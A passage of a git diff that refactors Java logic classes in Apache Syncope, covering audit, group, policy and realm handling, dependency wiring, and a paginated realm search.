java.util.stream.Collectors; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; @@ -58,12 +59,8 @@ public AnyTypeLogic( @PreAuthorize("hasRole('" + IdRepoEntitlement.ANYTYPE_READ + "')") @Transactional(readOnly = true) public AnyTypeTO read(final String key) { - AnyType anyType = anyTypeDAO.find(key); - if (anyType == null) { - LOG.error("Could not find anyType '" + key + '\''); - - throw new NotFoundException(key); - } + AnyType anyType = Optional.ofNullable(anyTypeDAO.find(key)). + orElseThrow(() -> new NotFoundException("AnyType " + key)); return binder.getAnyTypeTO(anyType); } @@ -89,27 +86,18 @@ public AnyTypeTO create(final AnyTypeTO anyTypeTO) { } @PreAuthorize("hasRole('" + IdRepoEntitlement.ANYTYPE_UPDATE + "')") - public AnyTypeTO update(final AnyTypeTO anyTypeTO) { - AnyType anyType = anyTypeDAO.find(anyTypeTO.getKey()); - if (anyType == null) { - LOG.error("Could not find anyType '" + anyTypeTO.getKey() + '\''); - - throw new NotFoundException(anyTypeTO.getKey()); - } + public void update(final AnyTypeTO anyTypeTO) { + AnyType anyType = Optional.ofNullable(anyTypeDAO.find(anyTypeTO.getKey())). + orElseThrow(() -> new NotFoundException("AnyType " + anyTypeTO.getKey())); binder.update(anyType, anyTypeTO); - - return binder.getAnyTypeTO(anyTypeDAO.save(anyType)); + anyTypeDAO.save(anyType); } @PreAuthorize("hasRole('" + IdRepoEntitlement.ANYTYPE_DELETE + "')") public AnyTypeTO delete(final String key) { - AnyType anyType = anyTypeDAO.find(key); - if (anyType == null) { - LOG.error("Could not find anyType '" + key + '\''); - - throw new NotFoundException(key); - } + AnyType anyType = Optional.ofNullable(anyTypeDAO.find(key)). + orElseThrow(() -> new NotFoundException("AnyType " + key)); Integer anyObjects = anyObjectDAO.countByType().get(anyType); if (anyObjects != null && anyObjects > 0) { @@ -156,5 +144,4 @@ protected AnyTypeTO resolveReference(final Method method, final Object... args) throw new UnresolvedReferenceException(); } - } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AuditLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AuditLogic.java index 40858082c81..5d9d50ee692 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AuditLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/AuditLogic.java @@ -28,8 +28,8 @@ import java.util.Set; import java.util.stream.Collectors; import org.apache.commons.lang3.ArrayUtils; +import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; -import org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.core.LoggerContext; import org.apache.logging.log4j.core.config.LoggerConfig; @@ -43,6 +43,7 @@ import org.apache.syncope.common.lib.types.AuditLoggerName; import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.IdRepoEntitlement; +import org.apache.syncope.common.lib.types.IdRepoImplementationType; import org.apache.syncope.common.lib.types.MatchingRule; import org.apache.syncope.common.lib.types.ResourceOperation; import org.apache.syncope.common.lib.types.UnmatchingRule; @@ -55,11 +56,11 @@ import org.apache.syncope.core.persistence.api.entity.AuditConf; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.provisioning.api.AuditManager; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; import org.apache.syncope.core.provisioning.api.data.AuditDataBinder; -import org.apache.syncope.core.provisioning.java.pushpull.PullJobDelegate; -import org.apache.syncope.core.provisioning.java.pushpull.PushJobDelegate; import org.apache.syncope.core.spring.security.AuthContextUtils; -import org.springframework.context.ApplicationContext; +import org.springframework.boot.logging.LogLevel; +import org.springframework.boot.logging.LoggingSystem; import org.springframework.core.io.Resource; import org.springframework.core.io.support.PathMatchingResourcePatternResolver; import org.springframework.core.io.support.ResourcePatternResolver; @@ -81,26 +82,34 @@ public class AuditLogic extends AbstractTransactionalLogic { protected final EntityFactory entityFactory; + protected final ImplementationLookup implementationLookup; + protected final AuditDataBinder binder; protected final AuditManager auditManager; - protected final ApplicationContext ctx; + protected final List auditAppenders; + + protected final LoggingSystem loggingSystem; public AuditLogic( final AuditConfDAO auditConfDAO, final ExternalResourceDAO resourceDAO, final EntityFactory entityFactory, + final ImplementationLookup implementationLookup, final AuditDataBinder binder, final AuditManager auditManager, - final ApplicationContext ctx) { + final List auditAppenders, + final LoggingSystem loggingSystem) { this.auditConfDAO = auditConfDAO; this.resourceDAO = resourceDAO; this.entityFactory = entityFactory; + this.implementationLookup = implementationLookup; this.binder = binder; this.auditManager = auditManager; - this.ctx = ctx; + this.auditAppenders = auditAppenders; + this.loggingSystem = loggingSystem; } @PreAuthorize("hasRole('" + IdRepoEntitlement.AUDIT_LIST + "')") @@ -127,7 +136,7 @@ public void set(final AuditConfTO auditTO) { audit.setActive(auditTO.isActive()); audit = auditConfDAO.save(audit); - setLevel(audit.getKey(), audit.isActive() ? Level.DEBUG : Level.OFF); + setLevel(audit.getKey(), audit.isActive() ? LogLevel.DEBUG : LogLevel.OFF); } @PreAuthorize("hasRole('" + IdRepoEntitlement.AUDIT_DELETE + "')") @@ -136,23 +145,21 @@ public void delete(final String key) { orElseThrow(() -> new NotFoundException("Audit " + key)); auditConfDAO.delete(audit); - setLevel(audit.getKey(), Level.OFF); + setLevel(audit.getKey(), LogLevel.OFF); } - protected void setLevel(final String key, final Level level) { + protected void setLevel(final String key, final LogLevel level) { String auditLoggerName = AuditLoggerName.getAuditEventLoggerName(AuthContextUtils.getDomain(), key); LoggerContext logCtx = (LoggerContext) LogManager.getContext(false); LoggerConfig logConf = logCtx.getConfiguration().getLoggerConfig(auditLoggerName); - // SYNCOPE-1144 For each custom audit appender class add related appenders to log4j logger - ctx.getBeansOfType(AuditAppender.class).values().stream(). + auditAppenders.stream(). filter(appender -> appender.getEvents().stream(). anyMatch(event -> key.equalsIgnoreCase(event.toAuditKey()))). forEach(auditAppender -> AuditLoader.addAppenderToLoggerContext(logCtx, auditAppender, logConf)); - logConf.setLevel(level); - logCtx.updateLoggers(); + loggingSystem.setLogLevel(auditLoggerName, level); } @PreAuthorize("hasRole('" + IdRepoEntitlement.AUDIT_LIST + "') " @@ -164,16 +171,29 @@ public List events() { } } - // use set to avoid duplications or null elements Set events = new HashSet<>(); + EventCategory authenticationEventCategory = new EventCategory(); + authenticationEventCategory.setCategory(AuditElements.AUTHENTICATION_CATEGORY); + authenticationEventCategory.getEvents().add(AuditElements.LOGIN_EVENT); + events.add(authenticationEventCategory); + + implementationLookup.getClassNames(IdRepoImplementationType.TASKJOB_DELEGATE).forEach(clazz -> { + EventCategory eventCategory = new EventCategory(EventCategoryType.TASK); + eventCategory.setCategory(StringUtils.substringAfterLast(clazz, '.')); + events.add(eventCategory); + }); + + events.add(new EventCategory(EventCategoryType.WA)); + events.add(new EventCategory(EventCategoryType.CUSTOM)); + try { ResourcePatternResolver resourcePatternResolver = new PathMatchingResourcePatternResolver(); MetadataReaderFactory metadataReaderFactory = new CachingMetadataReaderFactory(resourcePatternResolver); String packageSearchPath = ResourcePatternResolver.CLASSPATH_ALL_URL_PREFIX + ClassUtils.convertClassNameToResourcePath( - SystemPropertyUtils.resolvePlaceholders(this.getClass().getPackage().getName())) + SystemPropertyUtils.resolvePlaceholders(getClass().getPackage().getName())) + "/**/*.class"; Resource[] resources = resourcePatternResolver.getResources(packageSearchPath); @@ -198,16 +218,6 @@ public List events() { } } - // SYNCOPE-608 - EventCategory authenticationControllerEvents = new EventCategory(); - authenticationControllerEvents.setCategory(AuditElements.AUTHENTICATION_CATEGORY); - authenticationControllerEvents.getEvents().add(AuditElements.LOGIN_EVENT); - events.add(authenticationControllerEvents); - - events.add(new EventCategory(EventCategoryType.PROPAGATION)); - events.add(new EventCategory(EventCategoryType.PULL)); - events.add(new EventCategory(EventCategoryType.PUSH)); - for (AnyTypeKind anyTypeKind : AnyTypeKind.values()) { resourceDAO.findAll().forEach(resource -> { EventCategory propEventCategory = new EventCategory(EventCategoryType.PROPAGATION); @@ -244,14 +254,6 @@ public List events() { events.add(pushEventCategory); }); } - - EventCategory eventCategory = new EventCategory(EventCategoryType.TASK); - eventCategory.setCategory(PullJobDelegate.class.getSimpleName()); - events.add(eventCategory); - - eventCategory = new EventCategory(EventCategoryType.TASK); - eventCategory.setCategory(PushJobDelegate.class.getSimpleName()); - events.add(eventCategory); } catch (Exception e) { LOG.error("Failure retrieving audit/notification events", e); } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/CommandLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/CommandLogic.java index 02a5b257058..569dae6a50f 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/CommandLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/CommandLogic.java @@ -37,11 +37,11 @@ import org.apache.syncope.common.lib.types.ClientExceptionType; import org.apache.syncope.common.lib.types.IdRepoEntitlement; import org.apache.syncope.common.lib.types.IdRepoImplementationType; -import org.apache.syncope.core.logic.api.Command; import org.apache.syncope.core.persistence.api.attrvalue.validation.InvalidEntityException; import org.apache.syncope.core.persistence.api.dao.ImplementationDAO; import org.apache.syncope.core.persistence.api.dao.NotFoundException; import org.apache.syncope.core.persistence.api.entity.Implementation; +import org.apache.syncope.core.provisioning.api.macro.Command; import org.apache.syncope.core.spring.implementation.ImplementationManager; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.transaction.annotation.Transactional; @@ -134,7 +134,7 @@ public String run(final CommandTO command) { } try { - return runnable.run(command.getArgs()); + return runnable.run(command.getArgs() == null ? ImplementationManager.emptyArgs(impl) : command.getArgs()); } catch (Exception e) { LOG.error("While running {} on {}", command.getKey(), command.getArgs(), e); diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/GroupLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/GroupLogic.java index 52410edd51c..050f57f7fce 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/GroupLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/GroupLogic.java @@ -21,6 +21,7 @@ import java.lang.reflect.Method; import java.time.OffsetDateTime; import java.util.Collection; +import java.util.Comparator; import java.util.List; import java.util.Map; import java.util.Optional; @@ -28,7 +29,6 @@ import java.util.stream.Collectors; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.tuple.Pair; -import org.apache.syncope.common.keymaster.client.api.ConfParamOps; import org.apache.syncope.common.lib.SyncopeClientException; import org.apache.syncope.common.lib.request.GroupCR; import org.apache.syncope.common.lib.request.GroupUR; @@ -45,6 +45,7 @@ import org.apache.syncope.common.lib.types.JobType; import org.apache.syncope.common.lib.types.PatchOperation; import org.apache.syncope.common.lib.types.ProvisionAction; +import org.apache.syncope.common.lib.types.TaskType; import org.apache.syncope.core.logic.api.LogicActions; import org.apache.syncope.core.persistence.api.dao.AnySearchDAO; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; @@ -68,7 +69,6 @@ import org.apache.syncope.core.provisioning.api.job.JobNamer; import org.apache.syncope.core.provisioning.api.utils.RealmUtils; import org.apache.syncope.core.provisioning.java.job.GroupMemberProvisionTaskJobDelegate; -import org.apache.syncope.core.provisioning.java.job.TaskJob; import org.apache.syncope.core.provisioning.java.utils.TemplateUtils; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.apache.syncope.core.spring.security.SecurityProperties; @@ -101,8 +101,6 @@ public class GroupLogic extends AbstractAnyLogic { protected final TaskDataBinder taskDataBinder; - protected final ConfParamOps confParamOps; - protected final JobManager jobManager; protected final SchedulerFactoryBean scheduler; @@ -122,7 +120,6 @@ public GroupLogic( final GroupDataBinder binder, final GroupProvisioningManager provisioningManager, final TaskDataBinder taskDataBinder, - final ConfParamOps confParamOps, final JobManager jobManager, final SchedulerFactoryBean scheduler, final EntityFactory entityFactory) { @@ -138,7 +135,6 @@ public GroupLogic( this.binder = binder; this.provisioningManager = provisioningManager; this.taskDataBinder = taskDataBinder; - this.confParamOps = confParamOps; this.jobManager = jobManager; this.scheduler = scheduler; this.entityFactory = entityFactory; @@ -367,7 +363,9 @@ public ProvisioningResult assign( @PreAuthorize("hasRole('" + IdRepoEntitlement.GROUP_UPDATE + "')") @Override public ProvisioningResult deprovision( - final String key, final Collection resources, final boolean nullPriorityAsync) { + final String key, + final List resources, + final boolean nullPriorityAsync) { updateChecks(key); @@ -377,6 +375,7 @@ public ProvisioningResult deprovision( ProvisioningResult result = new ProvisioningResult<>(); result.setEntity(binder.getGroupTO(key)); result.getPropagationStatuses().addAll(statuses); + result.getPropagationStatuses().sort(Comparator.comparing(item -> resources.indexOf(item.getResource()))); return result; } @@ -384,7 +383,7 @@ public ProvisioningResult deprovision( @Override public ProvisioningResult provision( final String key, - final Collection resources, + final List resources, final boolean changePwd, final String password, final boolean nullPriorityAsync) { @@ -397,6 +396,7 @@ public ProvisioningResult provision( ProvisioningResult result = new ProvisioningResult<>(); result.setEntity(binder.getGroupTO(key)); result.getPropagationStatuses().addAll(statuses); + result.getPropagationStatuses().sort(Comparator.comparing(item -> resources.indexOf(item.getResource()))); return result; } @@ -421,9 +421,14 @@ public ExecTO provisionMembers(final String key, final ProvisionAction action) { return groupMemberProvision; }); - SchedTask task = entityFactory.newEntity(SchedTask.class); - task.setName((action == ProvisionAction.DEPROVISION ? "de" : "") - + "provision members of group " + group.getName()); + String name = (action == ProvisionAction.DEPROVISION ? "de" : "") + + "provision members of group " + group.getName(); + SchedTask task = taskDAO.findByName(TaskType.SCHEDULED, name). + orElseGet(() -> { + SchedTask t = entityFactory.newEntity(SchedTask.class); + t.setName(name); + return t; + }); task.setActive(true); task.setJobDelegate(jobDelegate); task = taskDAO.save(task); @@ -432,10 +437,9 @@ public ExecTO provisionMembers(final String key, final ProvisionAction action) { Map jobDataMap = jobManager.register( task, null, - confParamOps.get(AuthContextUtils.getDomain(), "tasks.interruptMaxRetries", 1L, Long.class), AuthContextUtils.getUsername()); - jobDataMap.put(TaskJob.DRY_RUN_JOBDETAIL_KEY, false); + jobDataMap.put(JobManager.DRY_RUN_JOBDETAIL_KEY, false); jobDataMap.put(GroupMemberProvisionTaskJobDelegate.GROUP_KEY_JOBDETAIL_KEY, key); jobDataMap.put(GroupMemberProvisionTaskJobDelegate.ACTION_JOBDETAIL_KEY, action); diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/IdRepoLogicContext.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/IdRepoLogicContext.java index 9904587bf42..4fdf1ec981f 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/IdRepoLogicContext.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/IdRepoLogicContext.java @@ -36,7 +36,6 @@ import org.apache.syncope.core.logic.init.IdRepoEntitlementLoader; import org.apache.syncope.core.logic.init.IdRepoImplementationTypeLoader; import org.apache.syncope.core.persistence.api.DomainHolder; -import org.apache.syncope.core.persistence.api.ImplementationLookup; import org.apache.syncope.core.persistence.api.content.ContentExporter; import org.apache.syncope.core.persistence.api.dao.AccessTokenDAO; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; @@ -63,7 +62,6 @@ import org.apache.syncope.core.persistence.api.dao.RelationshipTypeDAO; import org.apache.syncope.core.persistence.api.dao.ReportDAO; import org.apache.syncope.core.persistence.api.dao.ReportExecDAO; -import org.apache.syncope.core.persistence.api.dao.ReportTemplateDAO; import org.apache.syncope.core.persistence.api.dao.RoleDAO; import org.apache.syncope.core.persistence.api.dao.SAML2SPClientAppDAO; import org.apache.syncope.core.persistence.api.dao.SecurityQuestionDAO; @@ -77,6 +75,7 @@ import org.apache.syncope.core.provisioning.api.AnyObjectProvisioningManager; import org.apache.syncope.core.provisioning.api.AuditManager; import org.apache.syncope.core.provisioning.api.GroupProvisioningManager; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; import org.apache.syncope.core.provisioning.api.UserProvisioningManager; import org.apache.syncope.core.provisioning.api.data.AccessTokenDataBinder; import org.apache.syncope.core.provisioning.api.data.AnyObjectDataBinder; @@ -104,13 +103,11 @@ import org.apache.syncope.core.provisioning.api.notification.NotificationManager; import org.apache.syncope.core.provisioning.api.propagation.PropagationManager; import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskExecutor; +import org.apache.syncope.core.provisioning.api.rules.RuleEnforcer; import org.apache.syncope.core.provisioning.java.utils.TemplateUtils; import org.apache.syncope.core.spring.security.SecurityProperties; -import org.apache.syncope.core.workflow.api.AnyObjectWorkflowAdapter; -import org.apache.syncope.core.workflow.api.GroupWorkflowAdapter; -import org.apache.syncope.core.workflow.api.UserWorkflowAdapter; import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; -import org.springframework.context.ApplicationContext; +import org.springframework.boot.logging.LoggingSystem; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.EnableAspectJAutoProxy; @@ -137,17 +134,17 @@ public ImplementationLookup implementationLookup() { @ConditionalOnMissingBean @Bean - public AuditAccessor auditAccessor(final AuditConfDAO auditConfDAO) { - return new AuditAccessor(auditConfDAO); + public AuditAccessor auditAccessor(final AuditConfDAO auditConfDAO, final LoggingSystem loggingSystem) { + return new AuditAccessor(auditConfDAO, loggingSystem); } @ConditionalOnMissingBean @Bean public AuditLoader auditLoader( final AuditAccessor auditAccessor, - final ApplicationContext ctx) { + final List auditAppenders) { - return new AuditLoader(auditAccessor, ctx); + return new AuditLoader(auditAccessor, auditAppenders); } @ConditionalOnMissingBean(name = "defaultAuditAppenders") @@ -253,17 +250,21 @@ public AuditLogic auditLogic( final AuditConfDAO auditConfDAO, final ExternalResourceDAO externalResourceDAO, final EntityFactory entityFactory, + final ImplementationLookup implementationLookup, final AuditDataBinder binder, final AuditManager auditManager, - final ApplicationContext ctx) { + final List auditAppenders, + final LoggingSystem loggingSystem) { return new AuditLogic( auditConfDAO, externalResourceDAO, entityFactory, + implementationLookup, binder, auditManager, - ctx); + auditAppenders, + loggingSystem); } @ConditionalOnMissingBean @@ -315,7 +316,6 @@ public GroupLogic groupLogic( final AnySearchDAO anySearchDAO, final SchedulerFactoryBean scheduler, final TaskDAO taskDAO, - final ConfParamOps confParamOps, final GroupDataBinder groupDataBinder, final TaskDataBinder taskDataBinder, final ImplementationDAO implementationDAO, @@ -334,7 +334,6 @@ public GroupLogic groupLogic( groupDataBinder, provisioningManager, taskDataBinder, - confParamOps, jobManager, scheduler, entityFactory); @@ -435,7 +434,6 @@ public RelationshipTypeLogic relationshipTypeLogic( @Bean public ReportLogic reportLogic( final JobManager jobManager, - final ConfParamOps confParamOps, final ReportDataBinder binder, final SchedulerFactoryBean scheduler, final JobStatusDAO jobStatusDAO, @@ -449,21 +447,10 @@ public ReportLogic reportLogic( jobStatusDAO, reportDAO, reportExecDAO, - confParamOps, binder, entityFactory); } - @ConditionalOnMissingBean - @Bean - public ReportTemplateLogic reportTemplateLogic( - final ReportTemplateDAO reportTemplateDAO, - final ReportDAO reportDAO, - final EntityFactory entityFactory) { - - return new ReportTemplateLogic(reportTemplateDAO, reportDAO, entityFactory); - } - @ConditionalOnMissingBean @Bean public RoleLogic roleLogic( @@ -498,16 +485,13 @@ public SecurityQuestionLogic securityQuestionLogic( @ConditionalOnMissingBean @Bean public SyncopeLogic syncopeLogic( - final ContentExporter exporter, - final UserWorkflowAdapter uwfAdapter, final RealmDAO realmDAO, final AnyTypeDAO anyTypeDAO, final GroupDAO groupDAO, - final ConfParamOps confParamOps, - final GroupDataBinder groupDataBinder, final AnySearchDAO anySearchDAO, - final GroupWorkflowAdapter gwfAdapter, - final AnyObjectWorkflowAdapter awfAdapter) { + final GroupDataBinder groupDataBinder, + final ConfParamOps confParamOps, + final ContentExporter exporter) { return new SyncopeLogic( realmDAO, @@ -516,10 +500,7 @@ public SyncopeLogic syncopeLogic( anySearchDAO, groupDataBinder, confParamOps, - exporter, - uwfAdapter, - gwfAdapter, - awfAdapter); + exporter); } @ConditionalOnMissingBean @@ -531,7 +512,6 @@ public TaskLogic taskLogic( final TaskDAO taskDAO, final SchedulerFactoryBean scheduler, final JobStatusDAO jobStatusDAO, - final ConfParamOps confParamOps, final ExternalResourceDAO externalResourceDAO, final NotificationJobDelegate notificationJobDelegate, final TaskDataBinder taskDataBinder, @@ -546,7 +526,6 @@ public TaskLogic taskLogic( taskExecDAO, externalResourceDAO, notificationDAO, - confParamOps, taskDataBinder, taskExecutor, notificationJobDelegate, @@ -563,11 +542,13 @@ public UserLogic userLogic( final UserDAO userDAO, final GroupDAO groupDAO, final AnySearchDAO anySearchDAO, + final ExternalResourceDAO resourceDAO, final AccessTokenDAO accessTokenDAO, final DelegationDAO delegationDAO, final ConfParamOps confParamOps, final UserProvisioningManager provisioningManager, - final SyncopeLogic syncopeLogic) { + final SyncopeLogic syncopeLogic, + final RuleEnforcer ruleEnforcer) { return new UserLogic( realmDAO, @@ -576,11 +557,13 @@ public UserLogic userLogic( userDAO, groupDAO, anySearchDAO, + resourceDAO, accessTokenDAO, delegationDAO, confParamOps, binder, provisioningManager, - syncopeLogic); + syncopeLogic, + ruleEnforcer); } } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/ImplementationLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/ImplementationLogic.java index 70c86bfb3c6..eb75a2df7a3 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/ImplementationLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/ImplementationLogic.java @@ -177,10 +177,6 @@ public void delete(final String type, final String key) { boolean inUse = false; switch (implementation.getType()) { - case IdRepoImplementationType.REPORTLET: - inUse = !reportDAO.findByReportlet(implementation).isEmpty(); - break; - case IdRepoImplementationType.ACCOUNT_RULE: inUse = !policyDAO.findByAccountRule(implementation).isEmpty(); break; @@ -197,6 +193,10 @@ public void delete(final String type, final String key) { inUse = !taskDAO.findByDelegate(implementation).isEmpty(); break; + case IdRepoImplementationType.REPORT_DELEGATE: + inUse = !reportDAO.findByDelegate(implementation).isEmpty(); + break; + case IdRepoImplementationType.COMMAND: inUse = !taskDAO.findByCommand(implementation).isEmpty(); break; @@ -233,7 +233,7 @@ public void delete(final String type, final String key) { inUse = !policyDAO.findByPushCorrelationRule(implementation).isEmpty(); break; - case IdRepoImplementationType.VALIDATOR: + case IdRepoImplementationType.ATTR_VALUE_VALIDATOR: inUse = !plainSchemaDAO.findByValidator(implementation).isEmpty(); break; diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/PolicyLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/PolicyLogic.java index cc92960cb9b..b0318c2a945 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/PolicyLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/PolicyLogic.java @@ -20,6 +20,7 @@ import java.lang.reflect.Method; import java.util.List; +import java.util.Optional; import java.util.stream.Collectors; import org.apache.commons.lang3.ArrayUtils; import org.apache.syncope.common.lib.SyncopeClientException; @@ -68,10 +69,8 @@ public T create(final PolicyType type, final T policyTO) { @PreAuthorize("hasRole('" + IdRepoEntitlement.POLICY_UPDATE + "')") public PolicyTO update(final PolicyType type, final PolicyTO policyTO) { - Policy policy = policyDAO.find(policyTO.getKey()); - if (policy == null) { - throw new NotFoundException("Policy " + policyTO.getKey() + " not found"); - } + Policy policy = Optional.ofNullable(policyDAO.find(policyTO.getKey())). + orElseThrow(() -> new NotFoundException("Policy " + policyTO.getKey() + " not found")); PolicyUtils policyUtils = policyUtilsFactory.getInstance(policy); if (policyUtils.getType() != type) { @@ -95,10 +94,8 @@ public List list(final PolicyType type) { @PreAuthorize("hasRole('" + IdRepoEntitlement.POLICY_READ + "')") @Transactional(readOnly = true) public T read(final PolicyType type, final String key) { - Policy policy = policyDAO.find(key); - if (policy == null) { - throw new NotFoundException("Policy " + key + " not found"); - } + Policy policy = Optional.ofNullable(policyDAO.find(key)). + orElseThrow(() -> new NotFoundException("Policy " + key + " not found")); PolicyUtils policyUtils = policyUtilsFactory.getInstance(policy); if (type != null && policyUtils.getType() != type) { @@ -112,10 +109,8 @@ public T read(final PolicyType type, final String key) { @PreAuthorize("hasRole('" + IdRepoEntitlement.POLICY_DELETE + "')") public T delete(final PolicyType type, final String key) { - Policy policy = policyDAO.find(key); - if (policy == null) { - throw new NotFoundException("Policy " + key + " not found"); - } + Policy policy = Optional.ofNullable(policyDAO.find(key)). + orElseThrow(() -> new NotFoundException("Policy " + key + " not found")); PolicyUtils policyUtils = policyUtilsFactory.getInstance(policy); if (type != null && policyUtils.getType() != type) { @@ -134,27 +129,31 @@ public T delete(final PolicyType type, final String key) { protected PolicyTO resolveReference(final Method method, final Object... args) throws UnresolvedReferenceException { - String key = null; + if (ArrayUtils.isEmpty(args) || args.length != 2) { + throw new UnresolvedReferenceException(); + } + + try { + final String key; + final PolicyType type; - if (ArrayUtils.isNotEmpty(args)) { - for (int i = 0; key == null && i < args.length; i++) { - if (args[i] instanceof String) { - key = (String) args[i]; - } else if (args[i] instanceof PolicyTO) { - key = ((PolicyTO) args[i]).getKey(); - } + if (args[0] instanceof PolicyType) { + type = (PolicyType) args[0]; + } else { + throw new RuntimeException("Invalid Policy type"); } - } - if (key != null) { - try { - return binder.getPolicyTO(policyDAO.find(key)); - } catch (Throwable ignore) { - LOG.debug("Unresolved reference", ignore); - throw new UnresolvedReferenceException(ignore); + if (args[1] instanceof String) { + key = (String) args[1]; + } else if (args[1] instanceof PolicyTO) { + key = ((PolicyTO) args[1]).getKey(); + } else { + throw new RuntimeException("Invalid ClientApp key"); } - } - throw new UnresolvedReferenceException(); + return read(type, key); + } catch (Throwable t) { + throw new UnresolvedReferenceException(); + } } } diff --git a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/RealmLogic.java b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/RealmLogic.java index 5c259913eef..2d37f2d0f71 100644 --- a/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/RealmLogic.java +++ b/core/idrepo/logic/src/main/java/org/apache/syncope/core/logic/RealmLogic.java @@ -20,6 +20,7 @@ import java.lang.reflect.Method; import java.util.Comparator; +import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Optional; @@ -29,6 +30,7 @@ import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.SyncopeClientException; +import org.apache.syncope.common.lib.SyncopeConstants; import org.apache.syncope.common.lib.to.ProvisioningResult; import org.apache.syncope.common.lib.to.RealmTO; import org.apache.syncope.common.lib.types.AnyTypeKind; @@ -47,6 +49,7 @@ import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.SearchCond; import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.PropagationByResource; import org.apache.syncope.core.provisioning.api.data.RealmDataBinder; import org.apache.syncope.core.provisioning.api.propagation.PropagationManager; @@ -54,9 +57,11 @@ import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskExecutor; import org.apache.syncope.core.provisioning.api.propagation.PropagationTaskInfo; import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.core.spring.security.DelegatedAdministrationException; import org.identityconnectors.framework.common.objects.Attribute; import org.springframework.security.access.prepost.PreAuthorize; import org.springframework.transaction.annotation.Transactional; +import org.springframework.util.CollectionUtils; public class RealmLogic extends AbstractTransactionalLogic { @@ -100,67 +105,57 @@ public RealmLogic( this.taskExecutor = taskExecutor; } - @PreAuthorize("hasRole('" + IdRepoEntitlement.REALM_LIST + "')") - @Transactional(readOnly = true) - public Pair> search(final String keyword, final String base) { - Realm baseRealm = base == null ? realmDAO.getRoot() : realmDAO.findByFullPath(base); - if (baseRealm == null) { - LOG.error("Could not find realm '" + base + "'"); - - throw new NotFoundException(base); + protected void securityChecks(final Set effectiveRealms, final String realm) { + boolean authorized = effectiveRealms.stream().anyMatch(realm::startsWith); + if (!authorized) { + throw new DelegatedAdministrationException(realm, User.class.getSimpleName(), + AuthContextUtils.getUsername()); } + } - Set roots = AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.REALM_LIST).stream(). - filter(auth -> auth.startsWith(baseRealm.getFullPath())).collect(Collectors.toSet()); + @PreAuthorize("isAuthenticated()") + @Transactional(readOnly = true) + public Pair> search( + final String keyword, + final Set bases, + final int page, + final int size) { + + Set baseRealms = new HashSet<>(); + if (CollectionUtils.isEmpty(bases)) { + baseRealms.add(SyncopeConstants.ROOT_REALM); + } else { + for (String base : bases) { + baseRealms.add(Optional.ofNullable(realmDAO.findByFullPath(base)).map(Realm::getFullPath). + orElseThrow(() -> new NotFoundException("Realm " + base))); + } + } - Set match = realmDAO.findMatching(keyword).stream(). - filter(realm -> roots.stream().anyMatch(root -> realm.getFullPath().startsWith(root))). - collect(Collectors.toSet()); + int count = realmDAO.countDescendants(baseRealms, keyword); - int descendants = Math.toIntExact( - match.stream().flatMap(realm -> realmDAO.findDescendants(realm).stream()).distinct().count()); + List result = realmDAO.findDescendants(baseRealms, keyword, page, size); return Pair.of( - descendants, - match.stream().map(realm -> binder.getRealmTO(realm, true)). + count, + result.stream().map(realm -> binder.getRealmTO( + realm, + AuthContextUtils.getAuthorizations().getOrDefault(IdRepoEntitlement.REALM_SEARCH, Set.of()).stream(). + anyMatch(auth -> realm.getFullPath().startsWith(auth)))). sorted(Comparator.comparing(RealmTO::getFullPath)). collect(Collectors.toList())); } - 